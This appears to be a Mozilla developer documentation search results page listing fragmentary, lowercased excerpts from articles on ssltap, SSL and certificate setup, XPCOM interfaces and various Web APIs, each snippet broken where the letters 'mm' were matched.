name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy. it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the serv...
...te. -p port change the default rendezvous port (1924) to another port. the following are well-known port numbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information. although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following co
mmand from a co
mmand shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the ...
...data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. ...
...And 3 more matches
OLD SSL Reference
ation, your help would be very much appreciated. ...
... ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted co
mmunications. this chapter introduces some of the basic ssl functions. chapter 2, "getting started with ssl" illustrates their use in sample client and server applications. initialization initializing caches configuration co
mmunication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code. the sample code and makefiles are available via lxr in the sslsamples directory. ssl, pkcs #11, and the default security databases setting up th...
... callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecallback ssl co
mmunication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_revealurl ssl_revealpinarg ...
...And 3 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy. it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn o...
...mbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information. although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following co
mmand from a co
mmand shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser ...
... ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the co
mmand shell from which you issued the co
mmand. data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flash...
...And 3 more matches
Handling Mozilla Security Bugs
about the degree to which information about such bugs is publicly disclosed. the mozilla project is a public software development project, and thus we have an inherent bias towards openness. in particular, we understand and acknowledge the concerns of those who believe that all information about security vulnerabilities should be publicly disclosed as soon as it is known, so that users may take i
mmediate steps to protect themselves and so that problems can get the maximum amount of developer attention and be fixed as soon as possible. at the same time, the mozilla project receives substantial contributions of code and developer time from organizations that use (or plan to use) mozilla code in their own product offerings. some of these products may be used by large populations of end users,...
...dential material. not to post descriptions of exploits in public forums like newsgroups. to be careful in whom they add to the cc field of a bug (since all those cc'd on a security bug potentially have access to the complete bug report). ...
...n public forums like newsgroups. to be careful in whom they add to the cc field of a bug (since all those cc'd on a security bug potentially have access to the complete bug report). ...
...And 3 more matches
A Web PKI x509 certificate primer
h you will end on a self-signed certificate that is considered trusted by the browser). the attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done) revocation checks are considered ok for that particular validation. one issue that is not co
mmonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing). extensions while rfc 5280 defines 16 extensions for webpki in this document we will be des...
... information access this extension is primarily used to to describe the ocsp location for revocation checking. it is mandatory for certificates that chain up to a root in the mozilla ca program. self-signed certificates these are the steps to generate a certificate for www.example.com. replace this value with the actual server name in the steps below. 1. generate the key using the following co
mmand: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is considered secure for the next 4 years. 2. generate csr using this co
mmand: openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a new certificate signing request (csr) that will be valid for 3 years. 3. write extensio...
...ertificate policy and applying for inclusion as per ca:how_to_apply. users may override the default root certificate settings using the certificate manager. some organizations make use of the set of cas included in mozilla's products. if you wish to do this, you should read the relevant part of the mozilla ca faq before doing so. running your own ca if you are going to have your own ca, we reco
mmend building 3 certificates: a long term root cert, a medium term intermediate cert, and a short term end-entity cert. this type of hierarchy allows for a relatively simple long term root to be distributed to clients, and some flexibility on the intermediate cert so that you can change parameters based on best practices and security research. generate your ca root update *.example.com and *.exam...
...And 3 more matches
Mork
of rows, collections of name-value pairs, which can be organized into various tables. rows need not be in a table, nor need they be in only one table. values are merely an opaque sequence of bytes, so their actual content is dependent on the mork consumer. ...
...various tables. rows need not be in a table, nor need they be in only one table. values are merely an opaque sequence of bytes, so their actual content is dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and co
mments (c++ or c style) can be ignored. ...
...y an opaque sequence of bytes, so their actual content is dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and co
mments (c++ or c style) can be ignored. in practice, only c++-style co
mments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used. ...
...And 3 more matches
Starting WebLock
ning is category-specific, you need to figure out which category to use. there are two startup notifications, both of which create the observer if it isn't already created. the first is provided by xpcom. this notification will occur during initialization of xpcom, where all xpcom services are guaranteed to be available during the calls. embedding applications may provide other notifications. ...
...the name of the category itself is a well defined string, but the name-value pairs can be anything. when naming your component in the category, take care to use something that means something and doesn't muddy up the namespace. ...
...block component in this tutorial uses xul to define the additional browser ui in a cross-platform way, and xul uses javascript to access and control xpcom components, but gecko's pluggable ui allows any user interface to call into gecko and the components you create as easily as you can from xul. see xul for a discussion of how xul interacts with javascript and xpcom. creating the weblock progra
mming interface design is one of the hardest parts of any progra
mming problem. the question the interface for the weblock component must answer is: how should weblock look to the outside world? what, in other words, is the interaction of clients with the weblock component? in this section, we enumerate the basic functionality the component should expose and create the single interface that organize...
...And 3 more matches
Observer Notifications
topics that you can observe during the course of an application. unless otherwise noted you register for the topics using the nsiobserverservice. application startup these are the topics that you can observe on startup, in order of appearance. if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a co
mmon pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification. see receiving startup notifications for more information about how this works. starting in firefox 3.5 components can simply register for the profile-after...
... sent and handled, the browser window will close. browser-delayed-startup-finished sent when the browser window and all its components have been loaded and initialized. documents these topics indicate notifications you can monitor related to dom documents. ...
...this lets extensions inject api into content windows as needed (see nsidomglobalpropertyinitializer for an alternative method of doing this). data is a string form of the origin (for use in security checks), eg "http://developer.mozilla.org". ...
...And 3 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscriptable please add a su
mmary to this article. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only! void createtmpfiletopost(in string apostdataurl, out string atmpfilename); native code only! obsolete since gecko 2.0 void deletepluginnativewindow(in nspluginnativewindowptr apluginnativewindow); native code only! void destroy(); native code only! void findproxyforurl(in string aurl, out string aresult); native code only! nsiplugin getplugin(in string amimetype); native code only! void getplugincount(out unsigned long aplugincount); obsolete ...
...siplugintag getplugintagforinstance(in nsiplugininstance ainstance); native code only! void getplugintags([optional] out unsigned long aplugincount, [retval, array, size_is(aplugincount)] out nsiplugintag aresults); void handlebadplugin(in prlibraryptr alibrary, in nsiplugininstance instance); native code only! void init(); native code only! void instantiatedu
mmyjavaplugin(in nsiplugininstanceowner aowner); native code only! void instantiateembeddedplugin(in string amimetype, in nsiuri aurl, in nsiplugininstanceowner aowner); native code only! void instantiateembededplugin(in string amimetype, in nsiuri aurl, in nsiplugininstanceowner aowner); obsolete since gecko 1.8 void instantiatefullpageplugin(in string amimetype, in nsi...
...g aplugincount, optional [retval, array, size_is(aplugincount)] out nsiplugintag aresults ); parameters aplugincount optional aresults native code only!handlebadplugin void handlebadplugin( in prlibraryptr alibrary, in nsiplugininstance instance ); parameters alibrary instance native code only!init void init(); parameters none. ...
...And 3 more matches
nsITreeView
of the row. properties an array of the row's current properties. obsolete since gecko 22 return value a string of space-separated property names. example your function will not be provided with a properties array. (this is one way of detecting the version at run-time). simply return a string of space-separated property names. for example: getrowproperties: function(index) { return "du
mmy"; } obsolete since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see...
...sing it. to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var atomservice = components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiatomservice); var atom = atomservice.getatom("du
mmy"); properties.appendelement(atom); } hasnextsibling() used to determine if the row at rowindex has a nextsibling that occurs after the index specified by afterindex. code that is forced to march down the view looking at levels can optimize the march by starting at afterindex+1. boolean hasnextsibling( in long rowindex, in long afterindex ); parameters rowindex the index of the it...
...w the separator. boolean isseparator( in long index ); parameters index the index of the item being asked about. true if the row is a separator. otherwise false. issorted() specifies if there is currently a sort on any column. used mostly by dragdrop to affect drop feedback. boolean issorted(); parameters none. true if the column is sorted. otherwise false. ...
...And 3 more matches
XPCOM Interface Reference by grouping
arently take a swing at this, i get first dibs.) the primary sections consist of: browser this section contains elements associated with the view pane or the content of the "browser window" proper. it is wrapped by system, but displayed for convenience. data this section contains data wrappers and core object definitions. security this section contains apis for secure channel co
mmunications system this section contains application level interfaces including calls to external support elements (such as device calls). this is the root element and may contain some functions defined in other groups. user this section contains elements specific to a given user's data storage. browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsi...
...mlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsido
mmousescrollevent nsido
mmoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccess...
...adatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingchannel nsiselectionimageservice chrome nsisearchengine nsisearchsubmission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardco
mmands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner core action nsitransactionmanager process nsiprocess nsiprocess2 thread nsithread nsithreadeventf...
...And 3 more matches
Storage
moz_storage_service_contractid, &rv); ns_ensure_success(rv, rv); nscomptr<mozistorageconnection> dbconn; rv = dbservice->opendatabase(dbfile, getter_addrefs(dbconn)); ns_ensure_success(rv, rv); note: moz_storage_service_contractid is defined in storage/build/mozstoragecid.h. warning: it may be tempting to give your database a name ending in '.sdb' for sqlite database, but this is not reco
mmended. this extension is treated specially by windows as a known extension for an 'application compatibility database' and changes are backed up by the system automatically as part of system restore functionality. this can result in significantly higher overhead file operation. closing a connection to close a connection on which only synchronous transactions were performed, use the mozistoragec...
...h set of bindings bound to it before execution asynchronously. executing a statement you may execute statements either synchronously (which is supported in firefox gecko 1.8 and 1.9) or asynchronously (starting in gecko 1.9.1). if your code needs to work with applications based on gecko 1.8 or 1.9, you should the technique covered in the section synchronously below. otherwise, it's strongly reco
mmended that you use asynchronous execution, for performance reasons. asynchronously gecko 1.9.1 introduced support for asynchronous execution of a statement by calling mozistoragestatement.executeasync() on the statement. multiple statements can be executed in a transaction by calling mozistorageconnection.executeasync() on the connection and passing in an array of statements. both of these met...
... support nested transactions, so attempting to start a transaction when one is already active will throw an exception. transactions can be started with mozistorageconnection.begintransaction() or mozistorageconnection.begintransactionas(). ...
...And 3 more matches
MailNews fakeserver
fakeserver is a testing server that implements a generic text-based protocol co
mmon to all major mailnews protocols (pop, imap, smtp, and nntp) designed for use in automated tests. it can also be used in manual qa tests. basic structure fakeserver is situated entirely under mailnews/test/fakeserver/. it is comprised of three major components: a daemon, a handler, and the server itself. the server itself is found in mailnews/test/fakeserver/maild.js and was largely based off of the httpd fakeserver from network code. it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of co
mmands. the other two components are specific to the protocol type and found under similar files in the same directory (e.g., smtpd.js). a daemon is information about the se...
...quire different handlers. writing a new fakeserver since the number of protocols we use is very small, most people shouldn't have to write an entirely new daemon and handler setup by themselves. that said, someone writing a new test may have to take into account a new handler. ...
...y small, most people shouldn't have to write an entirely new daemon and handler setup by themselves. that said, someone writing a new test may have to take into account a new handler. a handler will contain the following methods: <caption> handler methods </caption> name arguments returns notes [co
mmand] rest of sent line server's response the name is normalized to be uppercase. onerror co
mmand, rest of sent line server's response called if handler does not define the co
mmand function. onstartup none server's response called when a connection is made. onmultiline sent line server's response or nothing called when in multi-line mode. postco
mmand server object none called after every co
mmand. the server is smart about the responses and will normalize all occurrences of '\n' (b...
...And 3 more matches
Network request list - Firefox Developer Tools
uest is displayed in its own row: by default, the network monitor is cleared each time you navigate to a new page or reload the current page. you can override this behavior by checking "enable persistent logs" in the settings. network request columns you can toggle columns on and off by right-clicking on the table header and choosing the specific column from the context menu. a reset columns co
mmand is available on the context menu to reset the columns to their initial configuration. you can also change the width of the columns to help make the information you are looking for easier to view. the mouse pointer changes to a resize icon when you move it over the border of a column. you can drag to manually set the size of column. starting in firefox 76 you can double-click a column divider ...
...uration. you can also change the width of the columns to help make the information you are looking for easier to view. the mouse pointer changes to a resize icon when you move it over the border of a column. you can drag to manually set the size of column. starting in firefox 76 you can double-click a column divider to resize the column to the left of it to fit its contents. the reset columns co
mmand on the context menu also resets the width of the columns to the default values. clicking the column header label sorts the request list by that column. you can reset the sort to the default by selecting "reset sorting" from the context menu. here is a list of all available columns: status: the http status code returned. the numeric code is displayed on a colored background, to help un...
...be blocked and a message will be added to the item in the list indicating that it has been blocked by the devtools. stop blocking a url from the request list hover over the item. select unblock url. now when you refresh the page, the item will once enabled. note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper co
mmands. these accept any string, and affect any url containing the string. filtering requests you can filter requests by content type, by whether they are xmlhttprequests or websocket requests, or by request properties. filter type how to apply content type use the buttons in the toolbar (html, css, js). xhr requests use the xhr button in the toolbar. ...
...And 3 more matches
Examine and edit HTML - Firefox Developer Tools
ent with the slot attribute as it exists outside the shadow dom this is very useful when you've got a <slot> element and you can't find the source of its content. note: shadow dom inspection was implemented in firefox 61, but was hidden behind the dom.webcomponents.shadowdom.enabled pref until firefox 63. it is now turned on by default. ...
...lemented in firefox 61, but was hidden behind the dom.webcomponents.shadowdom.enabled pref until firefox 63. it is now turned on by default. element popup context menu you can perform certain co
mmon tasks on a specific node using a popup context menu. to activate this menu, context-click the element. the menu contains the following items — click on the links to find the description of each co
mmand in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ... subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active fo...
...ctor copy a css selector that uniquely selects the element. (copy) css path copy a css selector that represents the full path to the element. (copy) image data-url copy image as a data:// url, if the selected element is an image. (copy) attribute copy the attribute of the element. show dom properties open the split console and enter the console co
mmand "inspect($0)" to inspect the currently selected element. use in console assigns the currently selected node to a variable named temp0 (or temp1 if temp0 is already taken, and so on), then opens the split console, enabling you to interact with that node using the console's co
mmand line. expand all in the tree view, expand the current element and all the elements undernea...
...And 3 more matches
Detecting device orientation - Web APIs
data reported by these orientation events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device. the second event is the devicemotionevent, which is sent when a change in acceleration was added. it is different from the deviceorientationevent because it is listening for changes in acceleration as opposed to orientation. sensors that are co
mmonly capable of detecting devicemotionevent include sensors in laptops to protect moving storage devices. deviceorientationevent is more co
mmonly found in mobile devices. processing orientation events all you need to do in order to begin receiving orientation change is to listen to the deviceorientation event: note: gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data...
...er("deviceorientation", handleorientation, true); after registering your event listener (in this case, a javascript function called handleorientation()), your listener function periodically gets called with updated orientation data. ...
...led with updated orientation data. the orientation event contains four values: deviceorientationevent.absolute deviceorientationevent.alpha deviceorientationevent.beta deviceorientationevent.ga
mma the event handler function can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var ga
mma = event.ga
mma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation around a given axis in reference to a standard coordinate frame. these are described in greater detail in the orientation and motion data explained article which is su
mmarized below. the deviceorientationevent.alpha value represents...
...And 3 more matches
Element - Web APIs
more specific classes inherit from element. for example, the htmlelement interface is the base interface for html elements, while the svgelement interface is the basis for all svg elements. most functionality is specified further down the class hierarchy. languages outside the realm of the web platform, like xul through the xulelement interface, also implement element. ...
...lified name of the element. element.namespaceuri read only the namespace uri of the element, or null if it is no namespace. note: in firefox 3.5 and earlier, html elements are in no namespace. in later versions, html elements are in the http://www.w3.org/1999/xhtml namespace in both html and xml trees. nondocumenttypechildnode.nextelementsibling read only is an element, the element i
mmediately following the given one in the tree, or null if there's no sibling node. element.outerhtml is a domstring representing the markup of the element including its content. when used as a setter, replaces the element with nodes parsed from the given string. element.part represents the part identifier(s) of the element (i.e. set using the part attribute), returned as a domtokenlist. elemen...
...aces the element with nodes parsed from the given string. element.part represents the part identifier(s) of the element (i.e. set using the part attribute), returned as a domtokenlist. element.prefix read only a domstring representing the namespace prefix of the element, or null if no prefix is specified. nondocumenttypechildnode.previouselementsibling read only is a element, the element i
mmediately preceding the given one in the tree, or null if there is no sibling element. element.scrollheight read only returns a number representing the scroll view height of an element. element.scrollleft is a number representing the left scroll offset of the element. element.scrollleftmax read only returns a number representing the maximum left scroll offset possible for the element. el...
...And 3 more matches
HTMLInputElement - Web APIs
ent's formaction attribute, containing the uri of a program that processes information submitted by the element. this overrides the action attribute of the parent form. formenctype string: returns / sets the element's formenctype attribute, containing the type of content that is used to submit the form to the server. this overrides the enctype attribute of the parent form. for
mmethod string: returns / sets the element's for
mmethod attribute, containing the http method that the browser uses to submit the form. this overrides the method attribute of the parent form. formnovalidate boolean: returns / sets the element's formnovalidate attribute, indicating that the form is not to be validated when it is submitted. this overrides the novalidate attribute of the...
... the graphical submit button, if the value of type is image; otherwise it is ignored. width string: returns / sets the document's width attribute, which defines the width of the image displayed for the button, if the value of type is image. properties that apply only to elements of type file accept string: returns / sets the element's accept attribute, containing co
mma-separated list of file types accepted by the server when type is file. allowdirs boolean: part of the non-standard directory upload api; indicates whether or not to allow directories and files both to be selected in the file list. implemented only in firefox and is hidden behind a preference. files returns/accepts a filelist object, which contains a list of file objects...
... file, or a button type. selectionstart unsigned long: returns / sets the beginning index of the selected text. when nothing is selected, this returns the position of the text input cursor (caret) inside of the <input> element. selectionend unsigned long: returns / sets the end index of the selected text. when there's no selection, this returns the offset of the character i
mmediately following the current text input cursor position. selectiondirection string: returns / sets the direction in which selection occurred. possible values are: forward if selection was performed in the start-to-end direction of the current locale backward for the opposite direction none if the direction is unknown size unsigned long: returns / sets the element...
...And 3 more matches
HTMLMediaElement - Web APIs
the htmlvideoelement and htmlaudioelement elements both inherit this interface. ...
...ecent error, or null if there has not been an error. htmlmediaelement.loop a boolean that reflects the loop html attribute, which indicates whether the media element should start over when it reaches the end. htmlmediaelement.mediagroup a domstring that reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to. a group of media elements shares a co
mmon mediacontroller. htmlmediaelement.mediakeys read only returns a mediakeys object or null. mediakeys is a set of keys that an associated htmlmediaelement can use for decryption of media data during playback. htmlmediaelement.mozaudiocaptured read only returns a boolean. related to audio stream capture. htmlmediaelement.mozfragmentend is a double that provides access to the fragment...
...a boolean that indicates whether the media is in the process of seeking to a new position. htmlmediaelement.sinkid read only returns a domstring that is the unique id of the audio device delivering output, or an empty string if it is using the user agent default. this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-co
mmunications. htmlmediaelement.src is a domstring that reflects the src html attribute, which contains the url of a media resource to use. htmlmediaelement.srcobject is a mediastream representing the media to play or that has played in the current htmlmediaelement, or null if not assigned. htmlmediaelement.texttracks read only returns the list of texttrack objects contained in the element. h...
...And 3 more matches
HTMLScriptElement - Web APIs
e src attribute is absent. there are three possible execution modes: if the async attribute is present, then the script will be executed asynchronously as soon as it downloads. if the async attribute is absent but the defer attribute is present, then the script is executed when the page has finished parsing. if neither attribute is present, then the script is fetched and executed i
mmediately, blocking further parsing of the page. the defer attribute may be specified with the async attribute, so legacy browsers that only support defer (and not async) fall back to the defer behavior instead of the default blocking behavior. note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are scattered througho...
...ment.write() method; the handling of scripting; and so on. htmlscriptelement.crossorigin is a domstring reflecting the cors setting for the script element. for scripts from other origins, this controls if error information will be exposed. htmlscriptelement.text is a domstring that joins and returns the contents of all text nodes inside the <script> element (ignoring other nodes like co
mments) in tree order. on setting, it acts the same way as the textcontent idl attribute. note: when inserted using the document.write() method, <script> elements execute (typically synchronously), but when inserted using innerhtml or outerhtml, they do not execute at all. htmlscriptelement.nomodule is a boolean that if true, stops the script's execution in browsers that support es2015 modul...
...lscriptelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the script, and fetches done by that script. methods no specific methods; inherits methods from its parent, htmlelement. examples dynamically importing scripts let's create a function that imports new scripts within a document creating a <script> node i
mmediately before the <script> that hosts the following code (through document.currentscript). these scripts will be asynchronously executed. for more details, see the defer and async properties. function loaderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function prefixscript(url, onloadfunction) { var newscript = document.createelement("s...
...And 3 more matches
The HTML DOM API - Web APIs
ation provided by the http headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. access to lists of elements in the document's <head> block and body, as well as lists of the images, links, scripts, etc. contained in the document. support for interacting with the user by examining focus and by executing co
mmands on editable content. event handlers for document events defined by the html standard to allow access to mouse and keyboard events, drag and drop, media control, and more. event handlers for events that can be delivered to both elements and documents; these presently include only copy, cut, and paste actions. html element interfaces the element interface has been further adapted to repres...
...ce. the htmlelement class, in turn, implements node, so every element is also a node (but not the other way around). this way, the structural features implemented by the node interface are also available to html elements, allowing them to be nested within each other, created and deleted, moved around, and so forth. the htmlelement interface is generic, however, providing only the functionality co
mmon to all html elements such as the element's id, its coordinates, the html making up the element, information about scroll position, and so forth. in order to expand upon the functionality of the core htmlelement interface to provide the features needed by a specific element, the htmlelement class is subclassed to add the needed properties and methods. for example, the <canvas> element is repres...
...y aspect of the utility of the element. from node, the element inherits concepts surrounding the ability for the element to be contained by another element, and to contain other elements itself. of special importance is what is gained by inheriting from eventtarget: the ability to receive and handle events such as mouse clicks, play and pause events, and so forth. ...
...And 3 more matches
IndexedDB API - Web APIs
o the full api reference and usage guides, browser support details, and some explanation of key concepts. note: this feature is available in web workers. note: indexeddb api is powerful, but may seem too complicated for simple cases. if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more progra
mmer-friendly. key concepts and usage indexeddb is a transactional database system, like an sql-based rdbms. however, unlike sql-based rdbmses, which use fixed-column tables, indexeddb is a javascript-based object-oriented database. indexeddb lets you store and retrieve objects that are indexed with a key; any objects supported by the structured clone algorithm can be stored. you need to specify ...
...i was intended for use only with web workers but was removed from the spec because it was unclear whether it was needed. however, the synchronous api may be reintroduced if there is enough demand from web developers. storage limits and eviction criteria there are a number of web technologies that store data of one kind or another on the client side (i.e. on your local disk). indexeddb is most co
mmonly talked about. the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. browser storage limits and eviction criteria attempts to explain how this works, at least in the case of firefox. interfaces to get access to a database, call open() on the indexeddb attribute of a ...
...ocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. browser storage limits and eviction criteria attempts to explain how this works, at least in the case of firefox. interfaces to get access to a database, call open() on the indexeddb attribute of a window object. this method returns an idbrequest object; asynchronous operations co
mmunicate to the calling application by firing events on idbrequest objects. connecting to a database idbenvironment provides access to indexeddb functionality. it is implemented by the window and worker objects. this interface isn't part of the 2.0 specification. idbfactory provides access to a database. this is the interface implemented by the global object indexeddb and is therefore the en...
...And 3 more matches
Using the Payment Request API - Web APIs
value: '1.00'} } }; } starting the payment process once the paymentrequest object has been created, you call the paymentrequest.show() method on it to initiate the payment request. this returns a promise that fulfills with a paymentresponse object if the payment is successful: request.show().then(function(paymentresponse) { // here we would process the payment. ...
...ransaction is complete, etc. other useful payment request methods there are some other useful payment request methods worth knowing about. paymentrequest.canmakepayment() can be used to check whether the paymentrequest object is capable of making a payment before you start the payment process. ...
...fast payment, so pick a generic title. checkoutbutton.innertext = "checkout with w3c"; }); } note: see our customizing the payment button demo for the full code. checking before all prices are known if the checkout flow needs to know whether paymentrequest.canmakepayment() will return true even before all line items and their prices are known, you can instantiate paymentrequest with du
mmy data and pre-query .canmakepayment(). if you call .canmakepayment() multiple times, keep in mind that the first parameter to the paymentrequest constructor should contain the same method names and data. // the page has loaded. should the page use paymentrequest? // if paymentrequest fails, should the page fallback to manual // web form checkout? const supportedpaymentmethods = ... let shouldcal...
...And 3 more matches
PerformanceResourceTiming.responseEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
Sensor APIs - Web APIs
sensor apis concepts and usage although the generic sensor api specification defines a sensor interface, as a web developer you will never use it. instead you'll use one of its subclasses to retrieve specific kinds of sensor data. for example, the accelerometer interface returns the acceleration of the device along all three axes at the time it is read. sensors may or may not correspond exactly to a physical device sensor. for example, the gyroscope interface corresponds exactly to a physical device interface. ...
...sensor api does not tell you whether that api is connected to a real hardware sensor, whether that sensor works, if it's still connected, or even whether the user has granted access to it. making all this information consistently available is costly to performance and battery life. therefore, feature detection for sensor apis must include both detection of the apis themselves and defensive progra
mming strategies (see below). the examples below show three methods for detecting sensor apis. additionally you can put object instantiation inside a try...catch block. notice that detection through the navigator interface is not one of the available options. if (typeof gyroscope === "function") { // run in circles... } if ("proximitysensor" in window) { // watch out! } if (window.ambien...
...three methods for detecting sensor apis. additionally you can put object instantiation inside a try...catch block. notice that detection through the navigator interface is not one of the available options. if (typeof gyroscope === "function") { // run in circles... } if ("proximitysensor" in window) { // watch out! } if (window.ambientlightsensor) { // go dark... } defensive progra
mming as stated in feature detection, checking for a particular sensor api is insufficient for feature detection. the existence of an actual sensor must be confirmed as well. this is where defensive progra
mming is needed. defensive progra
mming requires three strategies. checking for thrown errors when instantiating a sensor object. listening for errors thrown during its use. handling the error...
...And 3 more matches
SpeechRecognition() - Web APIs
the speechrecognition() constructor creates a new speechrecognition object instance. syntax var myrecognition = new speechrecognition(); parameters none. examples this code is excerpted from our speech color changer example. ...
... the speechrecognition() constructor creates a new speechrecognition object instance. syntax var myrecognition = new speechrecognition(); parameters none. examples this code is excerpted from our speech color changer example. ...
... draft ...
...And 3 more matches
SpeechRecognition.continuous - Web APIs
single result. it defaults to single results (false.) syntax var mycontinuous = myspeechrecognition.continuous; myspeechrecognition.continuous = true; value a boolean representing the current speechrecognition's continuous status. true means continuous, and false means not continuous (single result each time.) examples this code is excerpted from our speech color changer example. ...
...aults to single results (false.) syntax var mycontinuous = myspeechrecognition.continuous; myspeechrecognition.continuous = true; value a boolean representing the current speechrecognition's continuous status. true means continuous, and false means not continuous (single result each time.) examples this code is excerpted from our speech color changer example. ...
... draft ...
...And 3 more matches
SpeechRecognition.interimResults - Web APIs
default value for interimresults is false. syntax var myinterimresult = myspeechrecognition.interimresults; myspeechrecognition.interimresults = false; value a boolean representing the state of the current speechrecognition's interim results. true means interim results are returned, and false means they aren't. examples this code is excerpted from our speech color changer example. ...
